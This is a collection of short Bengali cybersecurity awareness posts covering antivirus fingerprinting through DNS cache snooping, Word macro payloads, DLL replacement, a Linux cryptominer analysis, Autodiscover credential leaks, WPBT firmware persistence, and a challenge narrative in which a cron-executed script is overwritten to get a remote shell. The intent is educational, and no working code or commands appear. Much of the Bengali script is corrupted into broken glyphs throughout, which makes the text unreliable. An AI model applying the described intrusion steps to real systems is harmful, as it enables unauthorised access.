ভাইরাস  িক�  তােদর  এি�ভাইরাস  �কা�ািনর  ওেয়বসাইেট  �ায়ই 
connected হয়।  তাই,  এি�ভাইরােসর  ওেয়বসাইেটর  আইিপ  এে�স 
আপনার �কা�ািনর রাউটাের cache (জমা) করা আেছ। এখন একজন 
ব�ি�  কি�উটার  ��া�ািমং  (�যমন  C,  C++)  ব�াবহার  কের  এমনভােব 
আপনার  রাউটাের  non-recursive  িরকুেয়�  পাঠােব  �য,  আপনার 
রাউটাের  �সই  এি�ভাইরাস  ওেয়বসাইেটর  আইিপ  এে�স  cache করা 
থাকেল,  তেবই  �কবলমা�  �সই  ব�ি�  response পােব।  তা  না  হেল 
response পােব  না।  িক�,  আপিন  �যেহতু  এি�  ভাইরাসিট  ব�াবহার 
করেছনই তাই, �সই ব�ি�ও response �পেয় যােব। যার মাধ�েম �সই 
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ব�ি� �জেন যােব �য, আপিন অমুক এি�ভাইরাস ব�াবহার করেছন। 

আপনার এি�ভাইরাস স�ে� জানেত পারেল সাইবার অপরাধীেদর িকছুটা 
�তা লাভ হেবই। �সই িবষেয় পের আেলাচনা করা যােব। ধন�বাদ।

────────────
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�াটাির বনাম ভাইরাস

�কমন হেব যিদ ল�াপটেপ চাজ� িদেত �� করেলই ম�ালওয়�ার �ারা আ�া� 
হন?  অথ�াৎ,  ল�াপটপ  চােজ�  থাকেল  ম�ালওয়�ার  কাজ  কের  আবার,  চাজ� 
�থেক খুলেলই ম�ালওয়�ার ব�!

িক� িকভােব?

এে�ে�,  একজন  attacker আপনার  ল�াপটেপ  scheduled task 
িহেসেব  ম�ালওয়�ার  �রেখ  িদেব।  আর,  Windows কি�উটাের  এমন 
অপশন রেয়েছ �য, চাজ�ার �থেক ল�াপটপ খুলেলই scheduled task 
ব� হেয় যােব।

তাই সজাগ থাকুন। আপিন হয়েতা চােজ� লািগেয় ল�াপটপ ব�াবহার করার 
সময় সে�হজনক িকছু আ�াজ করেলন। তখন ল�াপটপিট চাজ� �থেক খুেল 
একজন অিভ� ব�ি�র কােছ ল�াপটপ �দখােত িনেয় �যেত চাইেবন। িক�, 
যখনই চাজ� �থেক ল�াপটপ খুলেবন, তখনই ম�ালওয়�ার ব� হেয় যােব!

─────────
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নকল �চহারা

িনেচর ওেয়বসাইেট িগেয় যেতাবার refresh করেবন, তেতাবারই 
নতুন  �চহারা  �দখেত  পারেবন।  িক�,  �েত�কিট  �চহারাই  নকল। 
আিট�িফিশয়াল ইে�িলেজে�র মাধ�েম �তির করা এসব ছিব ব�াবহার 
কের,  �জুি�  স�ে�  অ�  ব�ি�েদর  কােছ  িনেজেক  এক  নতুন 
পিরচেয় পিরিচত করা সহজ। তাই, অনলাইন িবে� সেচতন থাকুন।

https://thispersondoesnotexist.com/

─────────
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িজেরািডয়াম

এখােন  িমিলয়ন  ডলার  িদেয়  vulnerability  �কনা-�বচা  করা  হয়। 
Vulnerability হে� কি�উটার িসে�েমর এমন �ব�লতা, �যটার সুেযাগ 
িনেয় হ�াক করা স�ব।

**আপিন যিদ িজে�স কেরন-**

> ওেয়বসাইেট �েবশ কের �কাথাও ি�ক না করেলও িক হ�াক হওয়া স�ব?

উ�ের  বলেবা-  স�ব।  মূলত,  এসব  vulnerability  -র  বাজাের 
drive-by download এর মেতা vulnerability িবি� করা হেল 
�সই vulnerability -র সুেযাগ িনেয় আপিন একিট ওেয়বসাইেট �েবশ 
করেল  বা,  িলংেক  ি�ক  করেলই  �গাপেন  ম�ালওয়�ার  ডাউনেলাড  করােনা 
স�ব। আপিন চাইেল Prometheus TDS স�ে� ই�ারেনেট জানার 
�চ�া করেলই বুঝেবন।

যিদও, আপিন যিদ অেন�র টােগ�ট হওয়ার মেতা কম�কা� না কেরন �সে�ে� 
িমিলয়ন  ডলােরর  vulnerability  এর  �ীকার  হওয়ার  ভয়  খুব  একটা 
�নই।

─────────
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MS word

আপনারা  MS Word স�ে�  জােনন।  একিট  MS Word ডকুেমে� 
�লখােলিখ করা হয়। িক�, এই MS Word ডকুেমে�র মেধ� file রাখা 
যায়, �সটা জােনন িক? ছিবেত মাউেসর cursor এর ওপর ড� িচে�র 
মেতা �যিট �দখেত পারেছন, �সিট একিট �িতকর file। এই file িট ৩য় 
লাইেন insert কের �দওয়া হেয়েছ। �কউ যিদ MS Word ডকুেম�িট 
open কেরন  এবং  উপেরর  হলুদ  অংেশ  থাকা  'Enable Content' 
বাটেন  ি�ক  কেরন,  তাহেলই  �িতকর  file িট  run হেব।  তাই,  অেন�র 
পাঠােনা �কানিকছু স�ে� সাবধান থাকুন।

────────────
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আপনার িসিকউির� আপনার

আপিন  কি�উটাের  অেনক  সফটওয়�ার  ব�াবহার  কেরন।  আপনার  মেতা 
ব�াবহারকারীেদর িনরাপ�ার �ােথ� সফটওয়�ার �কা�ািন�েলা অেনক টাকা 
খরচ  কের।  এজন�  ��েতই  তােদরেক  সাধুবাদ  জানাি�।  তেব,  আপনার 
িনজ�  ভুল  (human  error)  এর  কারেন  যিদ  �সই  সফটওয়�ােরর 
মাধ�েমই  স�ুন�  কি�উটারিট  হ�ািকং  এর  �ীকার  হয়  তাহেল,  �সই  দায় 
অেনকাংেশই  সফটওয়�ার  �কা�ািন  িনেব  না।  �যমন  ধ�ন,  আপিন  যিদ 
িনেচর মেতা �কান ভুল কেরন তাহেল �সই দায় একা�ই আপনার-

*  একিট  সফটওয়�াের  double  click  কের  open  করেল 
সফটওয়�ারিটর  একািধক  file  (�যমন-  dll  file)  load  হেব।  িক�, 
আপিন  িনেজ  �থেক  (না  বুেঝই)  এমন  আেরকিট  �িতকর  সফটওয়�ার 
install  করেলন,  �যটা  আপনার  আেগর  সফটওয়�ােরর  �সই  dll  file 
�েলা delete কের িদেয়, �ব� �সই একই নােম �িতকর dll file �রেখ 
(write কের) িদেলা। তাই, এখন আপিন যখনই আেগর �সই সফটওয়�ারিট 
open করেবন  তখনই  সফটওয়�ারিট  �সই  �িতকর  dll  file  �েলােক 
load করেব। অতঃপর, আপনার স�ুন� কি�উটার হ�াক।

* আপিন এমন কাউেক আপনার কি�উটার ব�াবহার করেত িদেলন, �যই 
ব�াি� উপেরর আেলাচনার মেতা িনেজ �থেকই একিট সফটওয়�ােরর আসল 
dll file �েলা delete কের িদেয়, �ব� �সই নােমই �িতকর file �রেখ 
িদেলা। ফেল, আপিন �সই সফটওয়�ারিট open করার সােথ সােথই হ�াক।
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উপেরর  ভুল�েলা  ল��  ক�ন।  উভয়ে�ে�ই  �ধুমা�  সফটওয়�ার 
ব�াবহারকারীর িনজ� ভুেলর কারেন হ�ািকং এর �ীকার হেয়েছন। এখােন 
িক�  িতিন  সফটওয়�ার  �কা�ািনেক  �দাষ  িদেত  পারেবন  না।  �সই 
সফটওয়�ার ব�াবহারকারী অন�ান� ব�াি�রা িক� িনরাপেদই সফটওয়�ারিট 
ব�াবহার করেছন। তাই, িব�াস করার আেগ যাচাই ক�ন। না হেল আপনার 
িনজ� ভুেলর দায় �কা�ািন িনেব না। বড়েজাড়, সমেবদনা জানােত পাের।

────────────
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িলনা� �ালওয়�ার এনালাইিসস

িলনা� িনরাপদ- এমন ধারণা ভুল। �েত�ক ��া�ােমই �িট থােক। আিম 
স�িত  একিট  িলনা�  ম�ালওয়�ার  এনালাইিসস  কেরিছ,  �সটা  িনেয়ই 
আজেক আেলাচনা করেবা। 

ম�ালওয়�ারিট �থেম VirusTotal -এ upload কের �দখলাম ৩০ িট 
এি�ভাইরাস  �সটােক  শনা�  কেরেছ।  এমনিক  Google  drive  -এ 
upload  করার  পর  download  করেত  �গেলও  warning 
�দখাি�েলা।  িক�,  ম�ালওয়�ার  (sample)  িট  িছেলা  POSIX  tar 
আক�াইভ  file  এবং  extract  করার  পর  C,  bash  সহ  একািধক 
language  এর  compiled  file  পাই।  তেব,  এটা  অেনকটা 
STRRat ম�ালওয়�ার এর মেতা প�িত অবল�ন কেরিছেলা। STRRat 
ম�ালওয়�ার মানুষেক অিধক ভয় �দখােনার জন� িনেজেক ransomware 
িহেসেব  �দখােনার  �চ�া  কের  (অথচ,  �সটা  ransomware  না)। 
একইভােব, আিম �যই ম�ালওয়�ার এনালাইিসস করিছ �সটা �ধুমা� bash 
িদেয় কাজ করেলও অন�ান� ��া�ািমং ল�া�ুেয়জ এর file (অযথা) �রেখ 
িদেয়িছেলা। এই bash file িট run হেল �থেম িকছু .jpg/.png ছিব 
ডাউনেলাড করেব; িক� �স�েলা আসেল ছিব না বরং, �স�েলােতও bash 
ফাইল যু� িছেলা। �স�েলা ডাউনেলাড হেয় �গেল dd কমা� িদেয় �সই 
ডাউনেলাডকৃত  file  �েলা  �থেক  command �বর  কের  (extract 
কের)  ম�ালওয়�ারিট  নতুন  আেরক  file  -এ  save  কের  রাখিছেলা। 
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বলাবা�ল�, িবিভ� ম�ালওয়�ােরর মেধ�ই বত�মােন এরকম ছিবর নাম িদেয় 
ম�ালওয়�ার  পাঠােনার  �বণতা  �দখা  যাে�  �যমন-  GhostEmperor 
ম�ালওয়�ারিটেক স�িত ছিবর file signature যু� কের ম�ালওয়�ার 
payload পাঠােত �দখা িগেয়েছ। 

যাই �হাক, আমার এনালাইিসস করা ম�ালওয়�ারিট এরপর �সই save করা 
নতুন  bash  file  িট  run  করেলই  ম�ালওয়�ােরর  কাজ  ��।  �থেম 
ম�ালওয়�ারিট কি�উটাের চলমান �বশিকছু cryptocurrency �যমনঃ 
bitcoin, monero ইত�ািদ িবষয়ক process ব� কের �দয় (যিদ 
চলমান  থােক)।  অবেশেষ  িনেজই  আ�া�  কি�উটার  ব�াবহার  কের 
crypto mining �� কের।

�দশ �ভেদ, সরকাির-�বসরকাির িবিভ�ভােবই ম�ালওয়�ার এনালাইিসস করা 
হয় যােত কের �শাসন বা �কা�ািন জানেত পাের- ম�ালওয়�ারিট িক িক 
কেরেছ এবং কার কেতাটুকু �িত হেয়েছ ইত�ািদ। �যমন িকছুিদন আেগই 
Pegasus ম�ালওয়�ার িনেয় অেনক উে�জনা �তির হেয়িছেলা িক�, �সই 
ম�ালওয়�ার স�ে� জানেতও �সটা এনালাইিসস করেত হেয়েছ। ইনফরেমশন 
িসিকউিরিটেত  ম�ালওয়�ার  এনালাইিসস  অেনকটা  উঁচু  পয�ােয়র  কাজ  এবং 
সময়  সােপ�।  আশা  কির,  ম�ালওয়�ার  এনালাইিসস  স�ে�  আজেকর 
আেলাচনায় �ু� পিরসের ধারনা িদেত স�ম হেয়িছ। ধন�বাদ।

─────────
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�ালওয়�ােরর মে� বাগ!

ইংেরিজ bug অথ� ছারেপাকা। িক�, কি�উটার ��া�ািমং এর পিরভাষায় 
bug অথ�  �িট।  আজেক  Sidoh নামক  ransomware এর  একিট 
bug এর  কথা  উে�খ  করেবা।  তেব,  এটা  কি�উটার  ��া�াম  �কি�ক 
bug  না;  বরং,  এটা  হে�  ম�ালওয়�ারিটর  ��তকারীেদর  িনজ� 
িচ�াভাবনার  bug।  তারা  �চেয়িছেলা  Windows কি�উটােরর  MS 
Office ডকুেম� �েলার মেধ� িক িক �লখা আেছ �স�েলা যাচাই করেত। 
যােত  কের  িনিদ��  িকছু  শ�  �লখা  থাকেল  �সই  file  �েলা  িনেজেদর 
কি�উটাের পািঠেয় িদেত পাের। িক�, এই ডকুেমে�র xml file �েলা 
থােক িনেচর path বা, �লােকশেন-

> xl/SharedStrings.xml

অথচ,  ম�ালওয়�ারিটর  ��তকারীরা  অন�  (ভুল)  path  বা,  �লােকশেন 
�খাঁজার ��া�াম িলেখ �রেখিছেলা। আর, �সটা হেলা-

 xl/worksheets/sheet*.xml

এই  ম�ালওয়�ারিট  WIZARD  SPIDER  নামক  শি�শালী  সাইবার 
অপরাধী  �েপর।  যিদও,  তােদর  নতুন  variant  (আপেডেট)  এই  �িট 
সিরেয় িদেয়েছ। িক�, তারপরও এরকম ভুল হওয়া এটাই মেন কিরেয় �দয় 
�য, মানুষ মা�ই ভুল।

─────────
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�ালওয়�ােরর বংশ পিরচয়

একিট ম�ালওয়�ােরর স�ান পাওয়া িগেয়েছ, �যটার সােথ ৫ বছর আেগর 
আেরকিট ম�ালওয়�ােরর িমল আেছ। ম�ালওয়�ার ২িট একই family বা, 
পিরবােরর  মেন  করা  হে�।  িক�,  িরসাচ�ারগণ  িকভােব  ৫  বছর  আেগর 
ম�ালওয়�ােরর সােথ নতুন শনা� হওয়া ম�ালওয়�ােরর মধ�কার িমল খুঁেজ 
পান? মূলত **Yara** ব�াবহার কের এই তথ� জানা হয়। Google -এ 
িগেয় Yara rule িলেখ সাচ� করেলই িব�ািরত �পেয় যােবন। 

ম�ালওয়�ার িরসাচ�ারগন যখন নতুন �কান ম�ালওয়�ােরর স�ান পান, তখন 
reverse  engineering  সহ  আরও  অন�ান�  গেবষণার  প�িতেত 
এনালাইিসস  কেরন।  এভােব  �সই  ম�ালওয়�ােরর  মেধ�  থাকা  অেনক  তথ� 
উদঘাটন কেরন। এরপর �সই তথ� �েলা Yara rule এর িনয়ম অনুযায়ী 
িলেখ রােখন। ফেল, পরবত�ীেত যখন নতুন ম�ালওয়�ার পাওয়া যায়, তখন 
�সই ম�ালওয়�ারিটেক আেগর Yara rule িদেয় scan করা  হয়। যিদ 
এই নতুন ম�ালওয়�ার আেগর �কান Yara rule এর সােথ িমেল যায় তখন 
�বাঝা  যায়-  এই  নতুন  ম�ালওয়�ােরর  সােথ  পুরেনা  �সই  ম�ালওয়�ােরর 
স�ক� আেছ। 

সব িমিলেয়, এই Yara rule এর ��� অেনক। এমনিক Yara rule 
িদেয় িনেজ �থেকই �ছাটখােটা এি� ভাইরাস বািনেয় �ফলেত পারেবন।

─────────
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Tor এর �াইেভিস ��

Tor বা ডাক� ওেয়ব ব�াবহার করা  হয় �াইেভিস র�ার জন�। িক�, স�িত 
এমন  একিট  ইসু�  �কাশ  �পেয়েছ-  �যটা  Tor  ব�াবহারকারীেদর 
�াইেভিস'�ক ��িব� কেরেছ।

মূল আেলাচনা

বত�মােন ডাক� ওেয়েব এমন অেনক ওেয়বসাইট আেছ �য�েলা v2 বা, ভাস�ন 
২ এর �ডােমইন। িক�, ২০২১ সােলর পর �থেক ডাক� ওেয়েবর v2 বািতল 
হেয় যােব এবং v3 ব�াবহার করেত হেব বেল জানা যায়। তাই, �কউ যিদ 
ডাক�  ওেয়েবর  এমন  ওেয়বসাইেট  �েবশ  করেত  চায়,  �যই  ওেয়বসাইেট 
এখনও  পুরাতন  v2  ব�াবহার  করা  হে�,  তাহেল  িতিন  িনেচর  ছিবর 
Warning এর মেতা িকছু �লখা �দখেত পােবন। িক�, সমস�া হে� এই 
Warning এর  মেধ�  time বা,  সময়  উে�খ  করা  থােক  �যটা  log 
িহেসেব  জমা  থাকেব।  অথচ,  এই  একই  সময়  �সই  ডাক�  ওেয়েবর  log 
িহেসেবও  জমা  থাকেব।  তাই,  �কউ  যিদ  আপনােক  track  করার  জন� 
এরকম v2 ওেয়বসাইট ব�াবহার কের তাহেল, তার ওেয়বসাইেট জমা হওয়া 
log এর  সমেয়র  সােথ  আপনার  কি�উটােরর  সময়  (timestamp) 
িমেল �গেলই আপনার সকল কম�কা� স�ে� জানা যােব।
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�� আসেত পাের-

আমার কি�উটােরর log িতিন �দখেবন িকভােব?

আসেল, Tor ব�াবহার করা হয় এই কারেন �য, পুিলশও �যেনা আপনার 
অনলাইন  কম�কা�  track করেত  না  পাের।  িক�,  এই  সা�িতক  ইসু�র 
মাধ�েম  �মতাশীল  �কউ  চাইেলই  আপনার  কি�উটার  িনেয়  িনিদ�� 
ওেয়বসাইেটর  log  এর  সােথ  িমিলেয়  �দখেত  পারেব।  অথচ,  Tor 
এজেন�ই ব�াবহার করা হয় যােত এই ধরেনর নূন�তম সুেযাগও না থােক। 
�সই  িহেসেব  িবিভ�  �দেশর  �শাসেনর  �াইেভিসও  িবপেদ।  কারন  তারাও 
Tor ব�াবহার কেরই অেনক কাজ কের। অথ�াৎ, এই �াইেভিস ইসু� �ভাব 
�ফেলেছ সকল ��িণ-�পশার মানুেষর উপেরই।

────────────
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Windows এর ই��

ভােলা  কাজ  করেল  শাি�  �পেত  হয়  িক?  িন�য়ই  না।  িক�,  ভােলা 
সফটওয়�ার বানােল তার িব�ে� িবিভ� িসিকউিরিট আ�মণ আসেব, �সটাই 
�াভািবক। তার বা�ব উদাহরণ হে� Windows অপােরিটং িসে�ম। এিট 
িবে�র অন�তম ও ব�ল ব�াব�ত একিট অপােরিটং িসে�ম। তাই, অপরাধীরা 
Windows এর িবিভ� �িটর স�ান কের attack করার �চ�া করেব, 
�সটাই  �াভািবক।  �যমন-  গত  বছেরর  SolarWinds,  Colonial 
Pipeline এবং HAFNIUM এর মেতা সাইবার আ�মেণর পাশাপািশ 
এই বছেরর PrintNightmare এবং িকছুিদন আেগর MSHTML এর 
vulnerability  (�িট)  সব�েলাই  িক�  Windows  কি�উটার 
�কি�ক।

তেব, আজেক �যই ২ িট ইসু� িনেয় আেলাচনা করেবা- �স�েলা আরও �বিশ 
সা�িতক।  বলা  যায়,  �স�েলা  িনেয়  আ�জ�ািতক  সাইবার  মহেল  এখনও 
��ন চলেছ। �সই ২ িট ইসু� হে�- WPBT এবং Autodiscover।

Autodiscover

মেন ক�ন- আপিন চাকির �পেলন এবং আপনার �কা�ািনর ইেমইল সাভ�ার 
(Microsoft Exchange) ব�াবহার করার জন� আপিন ইেমইল এে�স 
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এবং  পাসওয়াড�  িলখেলন।  এখন  �সটা  যাচাই  করা  সহ  বাকী  কাজ  করেব 
Autodiscover।  িক�,  এই  Autodiscover  কাজ  করার  সময় 
িনেচর িলংেকর মেতা ওেয়বসাইেট আপনার পাসওয়াড� পাঠােত পাের-

“autodiscover[.]com”

িক�, এই িলংেকর ওেয়বসাইট �তা �য �কউ িকনেত পাের। তাই, “Amit 
Serper” নামক একজন ব�ি� এই িবষেয় িরসাচ� কেরেছন এবং উপেরর 
িলংেকর মেতা ওেয়বসাইট িনেজর নােম �রিজ�ার কের �দেখেছন �য, চার 
মােসর  মেধ�  তার  �সই  ওেয়বসাইেটর  িলংেক  �ায়  ৪  লােখর  মেতা 
ইেমইেলর  credential  (পাসওয়াড�)  চেল  িগেয়েছ।  কাজ  সহজ  করার 
জন� এই Autodiscover ব�াবহার করা হেলও মানুষ ভাবেতই পাের িন 
�য, এমন ইসু� �দখা িদেব।

# WPBT

Windows অপােরিটং িসে�ম ছাড়াও হাড�ওয়�ার �েলােত িকছু ��া�াম 
থােক। এ�েলােক firmware বলা হয়। িক�, Windows কি�উটাের 
WPBT নােমর একিট িফচার আেছ। এই WPBT এর মাধ�েম হাড�ওয়�ার 
�কা�ািন  তােদর  হাড�ওয়�ােরর  firmware  -এর  মেধ�  এমন  ��া�াম 
রাখেত পারেব, �যটা Windows িনেজ �থেক run করেব। এর একিট 
উপকািরতা  হে�-  কি�উটাের  �চার  ধরার  জন�  এমন  ��া�াম  রাখা  �যটা 
কি�উটার  চুির  হেয়  �গেলও  run  হেব;  এমনিক  �চার  যিদ  নতুনভােব 
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Windows  �দয়  তবুও।  কারন,  �সই  ��া�াম  হাড�ওয়�ােরর  মেধ� 
থাকেবই। িক�, আপনােক �কউ যিদ এমন একিট ম�ালওয়�ার পাঠায়- �যটা 
আপনার  কি�উটােরর  WPBT  �ত  ম�ালওয়�ােরর  location  িলেখ 
রাখেব।  তাহেলই,  আপিন  যখনই  কি�উটার  চালু  করেবন,  তখনই  �সই 
ম�ালওয়�ারিট run হেব। এমনিক নতুন কের Windows ই�টল করেলও 
�সই ম�ালওয়�ার যােব না; কারন, ম�ালওয়�ারিট Windows এর মেধ� না 
বরং, হাড�ওয়�ােরর মেধ� থাকেব।

পিরেশেষ বলেবা- �িতিনয়ত িবিভ� ম�ালওয়�ার আ�মণ হে�। তাই, এি� 
ম�ালওয়�ার  ব�াবহার  করা  খুবই  জ�ির।  আর,  �সে�ে�ও  ি�  ব�াবহার  না 
কের  paid ব�াবহার  করা  উিচত।  না  হেল  একিট  কথা  সত�  হেয়  �যেত 
পাের- "টাকা িদেয় পণ� ব�াবহার না করেল আপিন িনেজই পণ�"।

২০২১ সােল এমনিট ঘেট

─────────
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কি�উটার হ�াক করা হ� �যভােব

এক� িশ�ণীয় �লখা

কেয়কিদন  আেগ  আিম  একিট  সাইবার  িসিকউিরিট  �কাস�  করিছলাম। 
আমােদরেক  একিট  �িত�ান  তােদর  িনজ�  কি�উটার  হ�াক  করার  জন� 
�দয়।  এটা  িছেলা  একিট  চ�ােল�।  িযিন  �কাস�  করাি�েলন,  িতিন  একিট 
কি�উটার �বঁেছ িনেয় আ�মণ �� করেলন।

হ�ািকং  আ�মণ  আসেল  অেনকটা  সুপিরকি�ত  �সনাবািহনী  আ�মেণর 
মেতা।  আমরাও  পিরক�না  কের  িনলাম।   এরপর  �যই  কি�উটার  হ�াক 
করেত  হেব,  �থেম  �সই  কি�উটােরর  �নটওয়ােক�  �েবশ  করলাম।  এখন 
আমােদর  পরবত�ী  কাজ  হেব-  �সই  কি�উটােরর  সােথ  আমােদর 
কি�উটােরর  connection গঠন  করা।  �সজেন�  আমরা  �থেম  একিট 
scan কের �দখেবা- �সই কি�উটােরর মেধ� এখন িক িক সািভ�স open 
আেছ।  বেল  রাখা  ভােলা  �য,  এই  scan  করা  অেনেকর  কােছ  খুবই 
িবরি�কর কাজ। কারন, একিট কি�উটােরর ৬৫,৫৩৫ িট �পােট� scan 
করেত হয়, �যটার ফেল �বশ িকছু সময় অেপ�া করেত হয়। অেনেক আবার 
এই সময় না�া-কিফ খাওয়া �� কের।

�তা, অবেশেষ আমােদর scan করা complete হয়। �সই scan এর 
ফলাফল  �দেখ  আমরা  �তা  খুিশেত  'yes'  বেল  িচৎকার  িদলাম।  কারন, 
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scan কের  জানেত  পারলাম-  আমােদর  টােগ�ট  করা  �সই  কি�উটােরর 
**anonymous FTP login**  চালু  আেছ  (অথ�াৎ,  আমরা  �সই 
কি�উটােরর সােথ connect হওয়ার জন� anonymous শ�িট নাম 
এবং পাসওয়াড� িহেসেব ব�াবহার করেত পারেবা)। তাই, FTP িদেয় �সই 
কি�উটােরর  সােথ  connect হলাম।  এখন  আমরা  অেন�র  কি�উটার 
িনয়�েণ িনেয়িছ। 

িক�, এটা িক হে�! একটু আেগ �যভােব 'yes' বেল িচৎকার িদেয়িছলাম 
এখন  তার  উে�া  হেত  যাে�!  আমরা  কি�উটাের  �যই  user  িহেসেব 
login  কেরিছ,  �সই  user  �তমন  িকছুই  করেত  পারেছ  না।  তাই, 
আমােদরেক  admin  িহেসেব  login  করেত  হেব।  িক�,  আমরা  �তা 
admin সােহেবর পাসওয়াড� জািন না। তাহেল এখন িক করেবা? এটাই 
ভাবিছলাম।  হঠাৎই  চমেক  উঠলাম।  আমরা  �দখেত  �পলাম-  একিট 
িডের�িরেত  (folder -এ)  িকছু  file  আেছ।  �সখােন  একিট  file  �িত 
িমিনেট একবার কের execute হে� (অথ�াৎ, �সই file এর মেধ� �যই 
��া�াম �লখা আেছ, �সটা run হে� এক িমিনট পরপর)। এটা িন�য়ই 
admin সােহেবর কাজ। �তা, আমরা admin িহেসেব login করেত না 
পারেল  িক  হেয়েছ?  আমরা  �তা  চাইেলই  এই  file  এর  মেধ�  �িতকর 
(malicious) ��া�াম িলেখ িদেত পাির। এরপর যখন ১ িমিনট পের �সই 
file  িট  আপনাআপিন  execute  হেব  তখন  আমােদর  িলেখ  �দওয়া 
��া�াম run হেব।

আপিন  জােনন  িক?  আমরা  �সই  file  এর  মেধ�  িক  িলেখ  িদেয়িছলাম? 
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�সখােন আমরা এমন ��া�াম িলেখ িদেয়িছলাম- �যই ��া�াম run হেল 
আমােদর কি�উটার �থেক command িলখেল টােগ�ট কি�উটার �সই 
command অনুযায়ী কাজ কের যােব। �তা, �সই জন� আমরা এরকম 
একিট  file  আমােদর  কি�উটাের  বািনেয়  �ফললাম।  িক�,  এই  file 
িকভােব  আমােদর  টােগ�ট  কি�উটাের  পাঠােবা?  �-টুথ  িদেয়  �তা  আর 
পাঠােনা যােব না।

িক�,  আপিন  হয়েতা  জােনন-  আমােদর  কি�উটার  িদেয়ও  �ছাটখােটা 
ওেয়বসাইট  চালােনা  স�ব।  �তা,  �যই  কথা  �সই  কাজ!  আমরা  আমােদর 
কি�উটাের  local  একিট  ওেয়বসাইট  চালু  করলাম।  আর,  আমােদর 
ওেয়বসাইেট  �সই  file �রেখ  িদলাম।  এখন  আমােদর  টােগ�ট  কি�উটার 
�থেক আমােদর ওেয়বসাইট �থেক file িট ডাউনেলাড কিরেয় িদলাম। আর, 
এক িমিনট পরপর �যই file িট execute হি�েলা �সই file আমাজন 
জ�েল  পািঠেয়  িদলাম  (delete করলাম  আরিক)।  আর,  �সই  delete 
করা  file এর  নাম  িছেলা  **exec.py**  িক�,  �সটা  delete কের 
আমােদর পাঠােনা file এর নাম **exec.py **িলেখ িদলাম। ব�স, ১ 
িমিনট  �যেত  না  �যেতই  �সই  কি�উটার  আমােদর  file এর  নাম  �দেখ 
ভাবেলা- এটাই �সই file, �যটা আমরা delete কের িদেয়িছ। তাই, �বাকা 
কি�উটার  আমােদর  file  িট  execute  কের  �ফলেলা।  সােথ  সােথ 
আমােদর কি�উটাের command �লখার জায়গা �পেয় �গলাম। এখন 
আমরা �যই command িলেখ পাঠােবা, টােগ�ট কি�উটার �বচারা �সই 
অনুযায়ী কাজ করেব। আর, এখন আমরা admin সােহেবর মেতা কাজ 
করেত পারেবা। অবেশেষ চ�ােলে� িজেত �গলাম।
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এটা  িছেলা  স�ূণ�  �বধ।  আর,  এখান  �থেক  আপনারা  �যই  িশ�া  িনেত 
পােরন-

* িনেজর ঘর বা, অিফেসর �নটওয়ােক� অন� �কান িডভাইস �েবশ কেরেছ 
িকনা- �সটা ল�� করা।

* �কান file িনিদ�� সময় পরপর execute করােনার আেগ সুর�ার িবষয় 
িনি�ত করা।

* আপনার �যেকান িডভাইেস login করার জন� িনেজ �থেক পাসওয়াড� 
set কের �দওয়া।

* আর, এটাও িন�য়ই বুেঝ িগেয়েছন �য, আইিড delete করার কাজ 
হ�াকারেদর না। �সটা অন�েদর কাজ।

পিরেশেষ  বলেবা,  আসুন  সেচতন  হই।  সেচতন  হেলই  বাড়েব  সাইবার 
িনরাপ�া।

────────────
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�ফস�েকর স�জ িচ�

এক�ভ ��াটাস

আপনার �ফসবুক friend যখন অনলাইেন থােক, তখন আপিন তার ছিবর 
িনেচ একিট সবুজ িচ� �দখেত পান। এটােক active status বলা হয়। 
আপিনও যখন অনলাইেন থােকন, তখন আপনার সকল �ফসবুক friend 
আপনার ছিবর সােথ এই সবুজ িচ� �দখেত পাের। িক�, আমােদর উিচৎ 
�ফসবুেকর settings �থেক এই সবুজ িচ� off কের রাখা।

আিম বলিছ না �য, যারা এই সবুজ িচ� off কেরন না, তারা একদমই 
অসতক�। িক�, আিম এই সবুজ িচ� off কের রাখেত পরামশ� িদেবা িনেচর 
িকছু কারেণ-

* আপনার �ফসবুক friend �দর মেধ� এমন ব�ি�ও থাকেত পাের- িযিন 
আপনার  এলাকােতই  থােকন।  আপনার  �সই  �ফসবুক  friend  হয়েতা 
আপনার অনুপি�িতেত আপনার ঘের �েবশ কের �কান �িত করেত চায়। 
এখন  �সই  �ফসবুক  friend জােন  �য,  আপিন  যখন  ঘের  থােকন  তখন 
অনলাইেন থােকন। আর, যখন ঘের থােকন না তখন অনলাইেন থােকন না। 
তাই, এে�ে� তােক খুব �বিশ ক� করেত হেব না। �স �দখেব- আপিন কখন 
�ফসবুক �থেক অফলাইেন চেল যাে�ন। তখনই �স বুেঝ যােব �য, আপিন 
এখন ঘের �নই। ফেল, আপনার ঘের �যেকানভােব �েবশ কের �িত করেব। 
অনলাইেন  আেছন  িকনা,  এটা  জানার  মাধ�েম  অেনক  িকছুই  করা  �যেত 
পাের। িক�, �ফসবুেকর সবুজ িচ� বা active status যিদ off কের 
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রােখন তাহেল, �কউই �দখেত পারেব না- আপিন অনলাইেন আেছন নািক 
অফলাইেন।

*  অেনক  সময়  �মেয়েদরেক  অনলাইেন  �দেখ  �বকার  �ছেলরা  অযথা 
message পাঠায়। িক�, এই সবুজ িচ� off কের রাখেল অেনকটাই 
�ি�েত থাকা স�ব।

* পড়ােলখার ��ে�ও এিট off কের রাখা উপকারী। কারণ, আপিন যিদ 
আপনার  সবুজ  িচ�  off কের  রােখন  তাহেল,  অন�  friend �দর  সবুজ 
িচ�ও  �দখেত  পারেবন  না।  ফেল,  তারা  অনলাইেন  আেছ  িকনা,  �সটা 
সাধারণত �দখেত পারেবন না। ফেল, িমিনেটর পর িমিনট chatting কের 
সময় ন� করা �থেকও বাঁচেত পারেবন।

সেব�াপির,  আিম  অনলাইেন  আিছ  িকনা,  �সই  িবষেয়  সবাইেক  জানােনা 
আমার  কােছ  িকছুটা  িব�কতর  মেন  হয়।  তাই,  আিম  িনেজ  এই  একিটভ 
��াটাস off কের রািখ। আপনােকও off কের রাখার পরামশ� িদি�.।

─────────
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িশেরানামহীন

�ফসবুক policy �মেন �লখা হেয়েছ

একজন  হ�াকার  িনেজ  �থেকই  tool �তির  করেত  পােরন।  উ�ত  �দেশর 
�গােয়�া  সং�াও  িবিভ�  tool  �তির  কের  �যমন-  reverse 
engineering এর  জন�  আেমিরকান  �গােয়�া  সং�া  Ghidra �তির 
কেরেছ, �যিট আমরা অেনেকই সফটওয়�ােরর নািড়-ভুিড় ত�ািশ করার জন� 
ব�াবহার  কির।  আবার,  অেনক  �গাপন  tool  থােক  �যমন-  ২০১৭  সােল 
Shadow Brokers নামক হ�ািকং �প, আেমিরকান �গােয়�া সং�ার 
�তির  করা  EternalBlue নামক  exploit জনসাধারেণর  সামেন  ফাঁস 
